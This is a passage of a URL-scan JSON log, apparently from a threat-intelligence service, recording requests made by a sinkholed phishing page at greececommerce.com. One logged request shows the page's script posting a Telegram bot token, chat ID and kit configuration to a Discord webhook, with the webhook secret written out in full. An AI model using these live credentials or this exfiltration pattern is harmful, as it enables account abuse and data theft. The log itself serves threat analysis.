DNS","scan_date":"2026-08-23","alert":"Sinkholed","trigger":"greececommerce.com","verdict":"malicious","severity":"medium","comment":"Sinkholed in DNS","link":"https://www.quad9.net","meta":null}],"urlquery":null}},{"url":{"schema":"https","addr":"greececommerce.com/wp-acess/res/cdn/jq.js","fqdn":"greececommerce.com","domain":"greececommerce.com","tld":"com"},"ip":{"addr":"217.160.0.18","port":443,"asn":8560,"as":"IONOS SE","country":"Germany","country_code":"DE"},"is_navigation_request":false,"resource_type":"script","requested_by":"https://greececommerce.com/wp-acess/login.php","date":"2026-08-23T15:17:38.931Z","timestamp":1787498258931,"http_version":"HTTP/2","security_state":"secure","security_info":{"cipher_suite":"TLS_AES_256_GCM_SHA384","key_group_name":"x25519","signature_name":"RSA-PSS-SHA256","protocol":"TLSv1.3","cert":{"subject":{"commonName":"greececommerce.com","organization":""},"issuer":{"commonName":"Sectigo Public Server Authentication CA DV R36","organization":"Sectigo Limited"},"validity":{"start":"Fri, 14 Aug 2026 00:00:00 GMT","end":"Wed, 10 Feb 2027 23:59:59 GMT"},"fingerprint":{"sha1":"DD:8C:C2:06:E0:7E:B2:B2:AB:38:B9:3F:9A:47:78:D8:A6:68:22:68","sha256":"74:DA:BB:1D:3C:95:EB:2B:A5:10:8D:7E:51:1C:93:2B:31:CC:DA:CA:43:7E:83:D7:CC:B1:03:8B:92:F1:EE:23"}}},"request":{"raw":"GET /wp-acess/res/cdn/jq.js HTTP/1.1\r\nHost: greececommerce.com\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0\r\nAccept: */*\r\nAccept-Language: en-US,en;q=0.9\r\nAccept-Encoding: gzip, deflate, br, zstd\r\nSec-GPC: 1\r\nConnection: keep-alive\r\nReferer: https://greececommerce.com/wp-acess/login.php\r\nCookie: PHPSESSID=4bff90604be0888cbc4fa825eb75850c; token=dg5VQANGeW9WcE0MGApeKjINDDUPB2cXYjQSdRQBeVd2CwAPFighPCQucTQCNg%3D%3D%3A1%3A0%3A0\r\nSec-Fetch-Dest: script\r\nSec-Fetch-Mode: no-cors\r\nSec-Fetch-Site: same-origin\r\nPragma: no-cache\r\nCache-Control: no-cache\r\n\r\n","headers":null,"cookies":null,"method":"GET"},"response":{"raw":"HTTP/2 200 \r\ncontent-type: text/javascript\r\ncontent-length: 193260\r\nx-ws-origin: available\r\nx-ws-ratelimit-limit: 1000\r\nx-ws-ratelimit-remaining: 997\r\nserver: Apache\r\naccept-ranges: bytes\r\ndate: Sun, 23 Aug 2026 15:17:38 GMT\r\nvary: Cookie\r\netag: \"2f2ec-658c9b369f380\"\r\nlast-modified: Tue, 11 Aug 2026 18:33:02 GMT\r\nX-Firefox-Spdy: h2\r\n\r\n","headers":null,"cookies":null,"status_code":"200","status_text":"OK","fingerprints":[{"name":"Apache HTTP Server","description":"Apache is a free and open-source cross-platform web server software.","website":"https://httpd.apache.org/","common_platform_enumeration":"cpe:2.3:a:apache:http_server:*:*:*:*:*:*:*:*","icon":"Apache.svg","categories":["Web servers"]}],"data":{"size":193260,"size_decoded":193597,"mime_type":"text/javascript","magic":"JavaScript source, Unicode text, UTF-8 text, with very long lines (61138)","md5":"4423f9191a4d5dfba9771b085d723277","sha1":"a2c9877743f7dbc922bc2ac0bd369994499c4839","sha256":"9c1e0a6765034b0a425e748b953b2bab9979dbbf0d3d9968a9bea7bc21aafc03","sha512":"3763d3b36f8b6e09e66a0ca0f9ac5231c16c704ba73f8cec209ade086a6572dd5ae7be448249214b021c79125f30c7c35fb5f9eb5c02c80f3cfdb4f5ba49c140","ssdeep":"3072:ymE/2PAu/WVKOfvNA2CTEvs7+hgZrPRu5JZ6OcL/jEKTgrm7:fEOou/WVZ1N6E/gJ5u5z6OeYygS","tlshash":"ac142addb2c6706347a730b900bf640bf2362899684d8410f169d8e9bc75a4e927bf7d","first_seen":"2026-01-31T08:09:43.484893Z","last_seen":"2026-08-23T15:18:12.710452Z","times_seen":49,"resource_available":true,"data":null}},"time_used":178,"timings":{"blocked":-1,"dns":0,"connect":0,"send":0,"wait":46,"receive":132,"ssl":0},"alerts":{"ids":null,"analyzer":[{"sensor_name":"quad9","sensor_type":"DNS","title":"Quad9 DNS","description":"Quad9 DNS","scan_date":"2026-08-23","alert":"Sinkholed","trigger":"greececommerce.com","verdict":"malicious","severity":"medium","comment":"Sinkholed in DNS","link":"https://www.quad9.net","meta":null}],"urlquery":null}},{"url":{"schema":"https","addr":"greececommerce.com/wp-acess/res/jquery.js","fqdn":"greececommerce.com","domain":"greececommerce.com","tld":"com"},"ip":{"addr":"217.160.0.18","port":443,"asn":8560,"as":"IONOS SE","country":"Germany","country_code":"DE"},"is_navigation_request":false,"resource_type":"script","requested_by":"https://greececommerce.com/wp-acess/login.php","date":"2026-08-23T15:17:38.936Z","timestamp":1787498258936,"http_version":"HTTP/2","security_state":"secure","security_info":{"cipher_suite":"TLS_AES_256_GCM_SHA384","key_group_name":"x25519","signature_name":"RSA-PSS-SHA256","protocol":"TLSv1.3","cert":{"subject":{"commonName":"greececommerce.com","organization":""},"issuer":{"commonName":"Sectigo Public Server Authentication CA DV R36","organization":"Sectigo Limited"},"validity":{"start":"Fri, 14 Aug 2026 00:00:00 GMT","end":"Wed, 10 Feb 2027 23:59:59 GMT"},"fingerprint":{"sha1":"DD:8C:C2:06:E0:7E:B2:B2:AB:38:B9:3F:9A:47:78:D8:A6:68:22:68","sha256":"74:DA:BB:1D:3C:95:EB:2B:A5:10:8D:7E:51:1C:93:2B:31:CC:DA:CA:43:7E:83:D7:CC:B1:03:8B:92:F1:EE:23"}}},"request":{"raw":"GET /wp-acess/res/jquery.js HTTP/1.1\r\nHost: greececommerce.com\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0\r\nAccept: */*\r\nAccept-Language: en-US,en;q=0.9\r\nAccept-Encoding: gzip, deflate, br, zstd\r\nSec-GPC: 1\r\nConnection: keep-alive\r\nReferer: https://greececommerce.com/wp-acess/login.php\r\nCookie: PHPSESSID=4bff90604be0888cbc4fa825eb75850c; token=dg5VQANGeW9WcE0MGApeKjINDDUPB2cXYjQSdRQBeVd2CwAPFighPCQucTQCNg%3D%3D%3A1%3A0%3A0\r\nSec-Fetch-Dest: script\r\nSec-Fetch-Mode: no-cors\r\nSec-Fetch-Site: same-origin\r\nPragma: no-cache\r\nCache-Control: no-cache\r\n\r\n","headers":null,"cookies":null,"method":"GET"},"response":{"raw":"HTTP/2 200 \r\ncontent-type: text/javascript\r\ncontent-length: 3716\r\nx-ws-origin: available\r\nx-ws-ratelimit-limit: 1000\r\nx-ws-ratelimit-remaining: 996\r\nserver: Apache\r\naccept-ranges: bytes\r\ndate: Sun, 23 Aug 2026 15:17:38 GMT\r\nvary: Cookie\r\netag: \"e84-65929b1378180\"\r\nlast-modified: Sun, 16 Aug 2026 13:04:22 GMT\r\nX-Firefox-Spdy: h2\r\n\r\n","headers":null,"cookies":null,"status_code":"200","status_text":"OK","fingerprints":[{"name":"Apache HTTP Server","description":"Apache is a free and open-source cross-platform web server software.","website":"https://httpd.apache.org/","common_platform_enumeration":"cpe:2.3:a:apache:http_server:*:*:*:*:*:*:*:*","icon":"Apache.svg","categories":["Web servers"]}],"data":{"size":3716,"size_decoded":4049,"mime_type":"text/javascript","magic":"JavaScript source, Unicode text, UTF-8 text, with very long lines (1321), with CRLF line terminators","md5":"4efb51003d1b80aedc3f7421e8c02c8c","sha1":"bade22b0ea8c1d6369fb7b876639a90af4d5bad7","sha256":"fda18b8875b890a2ebdaa07c89b66c97b5731e8a1586bdefddea1943fb664783","sha512":"48c24eb48da8d15ad6c78bb29ed6d69117163c64cb9d6fc4082b82d6f383a4e12be9f28dbff1da0c950000fcb8e8a20d323cddced7d27adb63674105e145a73a","ssdeep":"","tlshash":"0e71cbba3078bd2f06e24f03b6084d45fbe6ae923e416f03551cf47065d8688cca5e7a","first_seen":"2026-08-22T06:10:46.305821Z","last_seen":"2026-08-23T15:18:12.711898Z","times_seen":8,"resource_available":true,"data":null}},"time_used":175,"timings":{"blocked":-1,"dns":0,"connect":0,"send":0,"wait":175,"receive":0,"ssl":0},"alerts":{"ids":null,"analyzer":[{"sensor_name":"quad9","sensor_type":"DNS","title":"Quad9 DNS","description":"Quad9 DNS","scan_date":"2026-08-23","alert":"Sinkholed","trigger":"greececommerce.com","verdict":"malicious","severity":"medium","comment":"Sinkholed in DNS","link":"https://www.quad9.net","meta":null}],"urlquery":null}},{"url":{"schema":"https","addr":"greececommerce.com/wp-acess/res/img/logo.png","fqdn":"greececommerce.com","domain":"greececommerce.com","tld":"com"},"ip":{"addr":"217.160.0.18","port":443,"asn":8560,"as":"IONOS SE","country":"Germany","country_code":"DE"},"is_navigation_request":false,"resource_type":"img","requested_by":"https://greececommerce.com/wp-acess/login.php","date":"2026-08-23T15:17:38.942Z","timestamp":1787498258942,"http_version":"HTTP/2","security_state":"secure","security_info":{"cipher_suite":"TLS_AES_256_GCM_SHA384","key_group_name":"x25519","signature_name":"RSA-PSS-SHA256","protocol":"TLSv1.3","cert":{"subject":{"commonName":"greececommerce.com","organization":""},"issuer":{"commonName":"Sectigo Public Server Authentication CA DV R36","organization":"Sectigo Limited"},"validity":{"start":"Fri, 14 Aug 2026 00:00:00 GMT","end":"Wed, 10 Feb 2027 23:59:59 GMT"},"fingerprint":{"sha1":"DD:8C:C2:06:E0:7E:B2:B2:AB:38:B9:3F:9A:47:78:D8:A6:68:22:68","sha256":"74:DA:BB:1D:3C:95:EB:2B:A5:10:8D:7E:51:1C:93:2B:31:CC:DA:CA:43:7E:83:D7:CC:B1:03:8B:92:F1:EE:23"}}},"request":{"raw":"GET /wp-acess/res/img/logo.png HTTP/1.1\r\nHost: greececommerce.com\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0\r\nAccept: image/avif,image/webp,image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5\r\nAccept-Language: en-US,en;q=0.9\r\nAccept-Encoding: gzip, deflate, br, zstd\r\nSec-GPC: 1\r\nConnection: keep-alive\r\nReferer: https://greececommerce.com/wp-acess/login.php\r\nCookie: PHPSESSID=4bff90604be0888cbc4fa825eb75850c; token=dg5VQANGeW9WcE0MGApeKjINDDUPB2cXYjQSdRQBeVd2CwAPFighPCQucTQCNg%3D%3D%3A1%3A0%3A0\r\nSec-Fetch-Dest: image\r\nSec-Fetch-Mode: no-cors\r\nSec-Fetch-Site: same-origin\r\nPriority: u=5, i\r\nPragma: no-cache\r\nCache-Control: no-cache\r\n\r\n","headers":null,"cookies":null,"method":"GET"},"response":{"raw":"HTTP/2 200 \r\ncontent-type: image/png\r\ncontent-length: 4835\r\nx-ws-origin: available\r\nx-ws-ratelimit-limit: 1000\r\nx-ws-ratelimit-remaining: 994\r\nserver: Apache\r\naccept-ranges: bytes\r\ndate: Sun, 23 Aug 2026 15:17:38 GMT\r\nvary: Cookie\r\netag: \"12e3-658c9b369f380\"\r\nlast-modified: Tue, 11 Aug 2026 18:33:02 GMT\r\nX-Firefox-Spdy: h2\r\n\r\n","headers":null,"cookies":null,"status_code":"200","status_text":"OK","fingerprints":[{"name":"Apache HTTP Server","description":"Apache is a free and open-source cross-platform web server software.","website":"https://httpd.apache.org/","common_platform_enumeration":"cpe:2.3:a:apache:http_server:*:*:*:*:*:*:*:*","icon":"Apache.svg","categories":["Web servers"]}],"data":{"size":4835,"size_decoded":5163,"mime_type":"image/png","magic":"PNG image data, 280 x 90, 8-bit/color RGBA, non-interlaced","md5":"c7c06f02b48701d6fe5652287626c932","sha1":"a06fd158d6f201e5576d8914200e4f043f23a154","sha256":"fabe18d8a0202a701c1e94c77184b2628bf64598c04eae51dd4fdecc56ef3978","sha512":"0e3c0e9ce91f9f16789825cfd6d56bb7532be9f1407db47aeafec47b2a0712456b4fedf9e825c5df45040da44db2cc55519a3268cc4b4208340c3c477938861b","ssdeep":"96:+GKOGKOGKO+Qv+BCKjjbK2Y9KX1boy7bckFlltFkYyR2ABfESQms0LgmD6g+jCzU:K66FJjjl7EyHxltFoVpT0msjCx66M","tlshash":"cba17ec827e4f45c52dfa6f4127660fc87bb8853088738e70cd56a0a794e5fbc900799","first_seen":"2025-06-23T12:15:46.630138Z","last_seen":"2026-08-23T15:18:12.713123Z","times_seen":83,"resource_available":false,"data":null}},"time_used":173,"timings":{"blocked":-1,"dns":0,"connect":0,"send":0,"wait":173,"receive":0,"ssl":0},"alerts":{"ids":null,"analyzer":[{"sensor_name":"quad9","sensor_type":"DNS","title":"Quad9 DNS","description":"Quad9 DNS","scan_date":"2026-08-23","alert":"Sinkholed","trigger":"greececommerce.com","verdict":"malicious","severity":"medium","comment":"Sinkholed in DNS","link":"https://www.quad9.net","meta":null}],"urlquery":null}},{"url":{"schema":"https","addr":"discord.com/api/webhooks/1520181483996844273/kZIGhRTjsDUxqcuDjm0vnposh_pUBVXWY5Wqzmky4S-x10G9_VOMNOlmKQ5sJy9lKhq4","fqdn":"discord.com","domain":"discord.com","tld":"com"},"ip":{"addr":"162.159.138.232","port":443,"asn":13335,"as":"CLOUDFLARENET","country":"","country_code":"zz"},"is_navigation_request":false,"resource_type":"fetch","requested_by":"https://greececommerce.com/wp-acess/login.php","date":"2026-08-23T15:17:39.236Z","timestamp":1787498259236,"http_version":"HTTP/3","security_state":"secure","security_info":{"cipher_suite":"TLS_AES_128_GCM_SHA256","key_group_name":"mlkem768x25519","signature_name":"ECDSA-P256-SHA256","protocol":"TLSv1.3","cert":{"subject":{"commonName":"discord.com","organization":""},"issuer":{"commonName":"WE1","organization":"Google Trust Services"},"validity":{"start":"Tue, 30 Jun 2026 20:41:23 GMT","end":"Mon, 28 Sep 2026 21:41:17 GMT"},"fingerprint":{"sha1":"10:6B:C5:E3:42:95:F8:9A:18:49:58:E7:AD:E7:A1:BC:72:C7:48:C5","sha256":"D1:F4:2C:18:95:0F:BC:3C:69:C8:1B:0A:83:3D:6C:36:25:15:7F:25:CC:30:37:16:FD:6D:26:32:6C:42:22:77"}}},"request":{"raw":"POST /api/webhooks/1520181483996844273/kZIGhRTjsDUxqcuDjm0vnposh_pUBVXWY5Wqzmky4S-x10G9_VOMNOlmKQ5sJy9lKhq4 HTTP/1.1\r\nHost: discord.com\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0\r\nAccept: */*\r\nAccept-Language: en-US,en;q=0.9\r\nAccept-Encoding: gzip, deflate, br, zstd\r\nReferer: https://greececommerce.com/\r\nContent-Type: application/json\r\nContent-Length: 565\r\nOrigin: https://greececommerce.com\r\nSec-GPC: 1\r\nConnection: keep-alive\r\nSec-Fetch-Dest: empty\r\nSec-Fetch-Mode: cors\r\nSec-Fetch-Site: cross-site\r\nPriority: u=4\r\nPragma: no-cache\r\nCache-Control: no-cache\r\n\r\n","headers":null,"cookies":null,"method":"POST","post_data":{"size":565,"data":"{\"content\":\"**🔍 CONFIG.PHP FOUND!**\\n\\n📁 **Path:** `?read_config=1`\\n🔗 **Full URL:** `https://greececommerce.com/wp-acess/?read_config=1`\\n\\n🤖 **Token:** `8984122836:AAH9byWvAaC6P2GE3ljNf8bazeBS_fm0NNU`\\n💬 **Chat ID:** `-1004362412166`\\n\\n📄 **Full Content:**\\n```php\\n\u003c?php \\r\\n\\r\\n\\r\\n\\r\\n\\r\\n$token = \\\"8984122836:AAH9byWvAaC6P2GE3ljNf8bazeBS_fm0NNU\\\";\\r\\n$chat_id = \\\"-1004362412166\\\";\\r\\n\\r\\n\\r\\n// use antibot? yes|no\\r\\n$antibot = \\\"yes\\\";\\r\\n\\r\\n// want to block all VPNs/PROXIES? yes|no\\r\\n$block_proxy = \\\"no\\\";\\r\\n\\r\\n\\r\\n\\r\\n\\r\\n?\u003e```\"}"}},"response":{"raw":"HTTP/3 404 \r\ndate: Sun, 23 Aug 2026 15:17:39 GMT\r\ncontent-type: application/json\r\ncontent-length: 45\r\nserver: cloudflare\r\ncache-control: public, max-age=3600, s-maxage=3600\r\naccess-control-allow-origin: https://greececommerce.com\r\naccess-control-allow-credentials: true\r\naccess-control-allow-methods: POST, GET, PUT, PATCH, DELETE\r\naccess-control-allow-headers: Content-Type, Authorization, X-Audit-Log-Reason, X-Track, X-Super-Properties, X-Context-Properties, X-Failed-Requests, X-Fingerprint, X-RPC-Proxy, X-Discord-Locale, X-Discord-Original-MD5, X-Discord-Timezone, X-Debug-Options, x-client-trace-id, If-None-Match, X-Captcha-Key, X-Captcha-Rqtoken, X-Captcha-Session-Id, X-Discord-Resource-Optimization-Level, x-science-test, X-Discord-MFA-Authorization, Range, X-RateLimit-Precision, X-Discord-Features, X-Installation-Id\r\naccess-control-expose-headers: Retry-After, X-RateLimit-Global, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-RateLimit-Reset-After, X-RateLimit-Bucket, X-RateLimit-Scope, Date\r\nstrict-transport-security: max-age=31536000; includeSubDomains; preload\r\nx-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f\r\nx-ratelimit-limit: 5\r\nx-ratelimit-remaining: 4\r\nx-ratelimit-reset: 1787498260\r\nx-ratelimit-reset-after: 1\r\nx-discord-features: webhooks\r\nvia: 1.1 google\r\nalt-svc: h3=\":443\"; ma=86400\r\ncf-cache-status: DYNAMIC\r\nset-cookie: _cfuvid=8r_LcqYDRCfl6LMEf4pDtDXXtB5pbkm3zjnsRMadWYA-1787498259.4006567-1.0.1.1-o.P6xfkboiKYXY_QzTHMYNGblSHRPF8XjR.qHVeQBC4; HttpOnly; SameSite=None; Secure; Path=/; Domain=discord.com\r\nx-content-type-options: nosniff\r\nreport-to: {\"group\":\"cf-nel\",\"max_age\":604800,\"endpoints\":[{\"url\":\"https://a.nel.cloudflare.com/report/v4?s=%2Bn9qDZTBKCMxxjwvCj1EDc6v5ekYuOXzoDmOVWVoOwyKNiRQrOjY4qJT9RXWJlPZP2%2BodFUcuK6ck3soj0fHS4sGWseaImN1FgRcmg6Y3OnEIknVEs0Bg8iXHb9M\"}]}\r\nnel: {\"report_to\":\"cf-nel\",\"success_fraction\":0.0,\"max_age\":604800}\r\nreporting-endpoints: csp-sentry=\"https://o64374.ingest.sentry.io/api/5441894/security/?sentry_key=8fbbce30bf5244ec9429546beef21870\u0026sentry_environment=stable\"\r\ncontent-security-policy: frame-ancestors 'none'; default-src https://o64374.ingest.sentry.io; report-to csp-sentry; report-uri https://o64374.ingest.sentry.io/api/5441894/security/?sentry_key=8fbbce30bf5244ec9429546beef21870\u0026sentry_environment=stable\r\npriority: u=4,i=?0\r\ncf-ray: a2fb15d9398656b9-OSL\r\nserver-timing: cfExtPri\r\n\r\n","headers":null,"cookies":[{"name":"_cfuvid","value":"8r_LcqYDRCfl6LMEf4pDtDXXtB5pbkm3zjnsRMadWYA-1787498259.4006567-1.0.1.1-o.P6xfkboiKYXY_QzTHMYNGblSHRPF8XjR.qHVeQBC4","quoted":false,"path":"/","domain":"discord.com","secure":true,"http_only":true,"same_site":"None","partitioned":false,"raw":"_cfuvid=8r_LcqYDRCfl6LMEf4pDtDXXtB5pbkm3zjnsRMadWYA-1787498259.4006567-1.0.1.1-o.P6xfkboiKYXY_QzTHMYNGblSHRPF8XjR.qHVeQBC4; HttpOnly; SameSite=None; Secure; Path=/; Domain=discord.com"}],"status_code":"404","status_text":"Not Found","fingerprints":[{"name":"Cloudflare","description":"Cloudflare is a web-infrastructure and website-security company, providing content-delivery-network services, DDoS mitigation, Internet security, and distributed domain-name-server services.","website":"https://www.cloudflare.com","common_platform_enumeration":"","icon":"CloudFlare.svg","categories":["CDN"]},{"name":"Google Cloud CDN","description":"Cloud CDN uses Google's global edge network to serve content closer to users.","website":"https://cloud.google.com/cdn","common_platform_enumeration":"","icon":"google-cloud-cdn.svg","categories":["CDN"]},{"name":"Google Cloud","description":"Google Cloud is a suite of cloud computing services.","website":"https://cloud.google.com","common_platform_enumeration":"cpe:2.3:a:google:cloud_platform:*:*:*:*:*:*:*:*","icon":"Google Cloud.svg","categories":["IaaS"]},{"name":"HSTS","description":"HTTP Strict Transport Security (HSTS) informs browsers that the site should only be accessed using HTTPS.","website":"https://www.rfc-editor.org/rfc/rfc6797#section-6.1","common_platform_enumeration":"","icon":"","categories":["Security"]}],"data":{"size":45,"size_decoded":2437,"mime_type":"application/json","magic":"JSON text data","md5":"d53e370fc0348b8dd7bfbe9fcd4d7017","sha1":"3646ca0b3dd975f66da4fd9111d154f48b03f0a3","sha256":"2d08a668532bcb703a130a12e07f30c1892633a6752e96c8eb0e9394dbf08da2","sha512":"6da4edfde93a1d9dd07251330ac6a5b94b84883aa71db05f6ef99545576795ed0fadf2253cd00b4d7e6f53c4b58478fc5685f6ca825fec60fff436df0d71b20f","ssdeep":"","tlshash":"10900224414415a602c3c8123115528a1428a54016005511190487b81386e3c5811215","first_seen":"2023-04-07T11:49:03Z","last_seen":"2026-08-23T15:18:12.714117Z","times_seen":138,"resource_available":false,"data":null}},"time_used":182,"timings":{"blocked":-1,"dns":0,"connect":0,"send":0,"wait":182,"receive":0,"ssl":0},"alerts":{"ids":null,"analyzer":null,"urlquery":null}},{"url":{"schema":"https","addr":"greececommerce.com/wp-acess/res/img/top1.png","fqdn":"greececommerce.com","domain":"greececommerce.com","tld":"com"},"ip":{"addr":"217.160.0.18","port":443,"asn":8560,"as":"IONOS SE","country":"Germany","country_code":"DE"},"is_navigation_request":false,"resource_type":"img","requested_by":"https://greececommerce.com/wp-acess/login.php","date":"2026-08-23T15:17:38.940Z","timestamp":1787498258940,"http_version":"HTTP/2","security_state":"secure","security_info":{"cipher_suite":"TLS_AES_256_GCM_SHA384","key_group_name":"x25519","signature_name":"RSA-PSS-SHA256","protocol":"TLSv1.3","cert":{"subject":{"commonName":"greececommerce.com","organization":""},"issuer":{"commonName":"Sectigo Public Server Authentication CA DV R36","organization":"Sectigo Limited"},"validity":{"start":"Fri, 14 Aug 2026 00:00:00 GMT","end":"Wed, 10 Feb 2027 23:59:59 GMT"},"fingerprint":{"sha1":"DD:8C:C2:06:E0:7E:B2:B2:AB:38:B9:3F:9A:47:78:D8:A6:68:22:68","sha256":"74:DA:BB:1D:3C:95:EB:2B:A5:10:8D:7E:51:1C:93:2B:31:CC:DA:CA:43:7E:83:D7:CC:B1:03:8B:92:F1:EE:23"}}},"request":{"raw":"GET /wp-acess/res/img/top1.png HTTP/1.1\r\nHost: greececommerce.com\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0\r\nAccept: image/avif,image/webp,image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5\r\nAccept-Language: en-US,en;q=0.9\r\nAccept-Encoding: gzip, deflate, br, zstd\r\nSec-GPC: 1\r\nConnection: keep-alive\r\nReferer: https://greececommerce.com/wp-acess/login.php\r\nCookie: PHPSESSID=4bff90604be0888cbc4fa825eb75850c; token=dg5VQANGeW9WcE0MGApeKjINDDUPB2cXYjQSdRQBeVd2CwAPFighPCQucTQCNg%3D%3D%3A1%3A0%3A0\r\nSec-Fetch-Dest: image\r\nSec-Fetch-Mode: no-cors\r\nSec-Fetch-Site: same-origin\r\nPriority: u=5, i\r\nPragma: no-cache\r\nCache-Control: no-cache\r\n\r\n","headers":null,"cookies":null,"method":"GET"},"response":{"raw":"HTTP/2 200 \r\ncontent-type: image/png\r\ncontent-length: 17194\r\nx-ws-origin: available\r\nx-ws-ratelimit-limit: 1000\r\nx-ws-ratelimit-remaining: 995\r\nserver: Apache\r\naccept-ranges: bytes\r\ndate: Sun, 23 Aug 2026 15:17:38 GMT\r\nvary: Cookie\r\netag: \"432a-658c9b369f380\"\r\nlast-modified: Tue, 11 Aug 2026 18:33:02 GMT\r\nX-Firefox-Spdy: h2\r\n\r\n","headers":null,"cookies":null,"status_code":"200","status_text":"OK","fingerprints":[{"name":"Apache HTTP Server","description":"Apache is a free and open-source cross-platform web server software.","website":"https://httpd.apache.org/","common_platform_enumeration":"cpe:2.3:a:apache:http_server:*:*:*:*:*:*:*:*","icon":"Apache.svg","categories":["Web servers"]}],"data":{"size":17194,"size_decoded":17523,"mime_type":"image/png","magic":"PNG image data, 703 x 216, 8-bit/color RGBA, non-interlaced","md5":"97252af7fe7ea32c797ae8405058f77b","sha1":"d058156fac8822b876ff5e01e48fc92d1d1fda45","sha256":"6d3d73902c93a062fd4566408c60f8fe2e39efd53c9b7f92179b88c44fedce6d","sha512":"fc281381ceb83c10e11d6ca1537855a8113f05c5d54156ba0eea33d1ca13c8f15bcd4767e44379c755705412753d2fdc008a03d9bdffaf4e3ee77618033395f0","ssdeep":"384:RLRDrl58f6/7z+rLo+2YoRMXyixc+QOYPd:nr8y7z+r8tIXa+rY","tlshash":"e672bfea957ce2f7642ed68348ac938027478ec4ac485f0ba30df4096216fd8bd19cc5","first_seen":"2025-06-23T12:15:46.627907Z","last_seen":"2026-08-23T15:18:12.715123Z","times_seen":81,"resource_available":false,"data":null}},"time_used":174,"timings":{"blocked":-1,"dns":0,"connect":0,"send":0,"wait":174,"receive":0,"ssl":0},"alerts":{"ids":null,"analyzer":[{"sensor_name":"quad9","sensor_type":"DNS","title":"Quad9 DNS","description":"Quad9 DNS","scan_date":"2026-08-23","alert":"Sinkholed","trigger":"greececommerce.com","verdict":"malicious","severity":"medium","comment":"Sinkholed in DNS","link":"https://www.quad9.net","meta":null}],"urlquery":null}},{"url":{"schema":"https","addr":"greececommerce.com/wp-acess/res/reg.woff2","fqdn":"greececommerce.com","domain":"greececommerce.com","tld":"com"},"ip":{"addr":"217.160.0.18","port":443,"asn":8560,"as":"IONOS SE","country":"Germany","country_code":"DE"},"is_navigation_request":false,"resource_type":"font","requested_by":"https://greececommerce.com/wp-acess/login.php","date":"2026-08-23T15:17:38.974Z","timestamp":1787498258974,"http_version":"HTTP/2","security_state":"secure","security_info":{"cipher_suite":"TLS_AES_256_GCM_SHA384","key_group_name":"x25519","signature_name":"RSA-PSS-SHA256","protocol":"TLSv1.3","cert":{"subject":{"commonName":"greececommerce.com","organization":""},"issuer":{"commonName":"Sectigo Public Server Authentication CA DV R36","organization":"Sectigo Limited"},"validity":{"start":"Fri, 14 Aug 2026 00:00:00 GMT","end":"Wed, 10 Feb 2027 23:59:59 GMT"},"fingerprint":{"sha1":"DD:8C:C2:06:E0:7E:B2:B2:AB:38:B9:3F:9A:47:78:D8:A6:68:22:68","sha256":"74:DA:BB:1D:3C:95:EB:2B:A5:10:8D:7E:51:1C:93:2B:31:CC:DA:CA:43:7E:83:D7:CC:B1:03:8B:92:F1:EE:23"}}},"request":{"raw":"GET /wp-acess/res/reg.woff2 HTTP/1.1\r\nHost: greececommerce.com\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0\r\nAccept: application/font-woff2;q=1.0,application/font-woff;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.9\r\nAccept-Encoding: gzip, deflate, br, zstd\r\nSec-GPC: 1\r\nConnection: keep-alive\r\nReferer: https://greececommerce.com/wp-acess/res/app.css\r\nCookie: PHPSESSID=4bff90604be0888cbc4fa825eb75850c; token=dg5VQANGeW9WcE0MGApeKjINDDUPB2cXYjQSdRQBeVd2CwAPFighPCQucTQCNg%3D%3D%3A1%3A0%3A0\r\nSec-Fetch-Dest: font\r\nSec-Fetch-Mode: cors\r\nSec-Fetch-Site: same-origin\r\nPragma: no-cache\r\nCache-Control: no-cache\r\n\r\n","headers":null,"cookies":null,"method":"GET"},"response":{"raw":"HTTP/2 200 \r\ncontent-type: font/woff2\r\ncontent-length: 49272\r\nx-ws-origin: available\r\nx-ws-ratelimit-limit: 1000\r\nx-ws-ratelimit-remaining: 993\r\nserver: Apache\r\naccept-ranges: bytes\r\ndate: Sun, 23 Aug 2026 15:17:38 GMT\r\nvary: Cookie\r\netag: \"c078-658c9b369f380\"\r\nlast-modified: Tue, 11 Aug 2026 18:33:02 GMT\r\nX-Firefox-Spdy: h2\r\n\r\n","headers":null,"cookies":null,"status_code":"200","status_text":"OK","fingerprints":[{"name":"Apache HTTP Server","description":"Apache is a free and open-source cross-platform web server software.","website":"https://httpd.apache.org/","common_platform_enumeration":"cpe:2.3:a:apache:http_server:*:*:*:*:*:*:*:*","icon":"Apache.svg","categories":["Web servers"]}],"data":{"size":49272,"size_decoded":49602,"mime_type":"font/woff2","magic":"Web Open Font Format (Version 2), TrueType, length 49272, version 1.26214","md5":"7109062a3708aa802cd0420aad8d5014","sha1":"78df3ffd20a212d356f269625d280fbb1f215f94","sha256":"de48fe7cfbd2082df946a69799cd1dd63caa7683edff423bb7cd4824d2152125","sha512":"1a61fad98b6a62c30b5aeb42ec71b75e7fcc5180ef4bef7894f0abd7fbec183bba31aedace2b1e57152707b087cd08b7eba91d83be75f26194c75135e6644fe3","ssdeep":"1536:Zkt5pjglQz8y1tc9MrBSQfpmWL9FdnvCGF87+x:s/jglc8y7hlrB/LxnvhKix","tlshash":"0123f131e6a0cd70ed5046f1daa480e6c3e9f5b0adcb5ad3bef8d0d293631244626993","first_seen":"2025-01-05T16:38:34.344578Z","last_seen":"2026-08-23T15:18:12.716093Z","times_seen":100,"resource_available":false,"data":null}},"time_used":152,"timings":{"blocked":0,"dns":0,"connect":0,"send":0,"wait":145,"receive":7,"ssl":0},"alerts":{"ids":null,"analyzer":[{"sensor_name":"quad9","sensor_type":"DNS","title":"Quad9 DNS","description":"Quad9 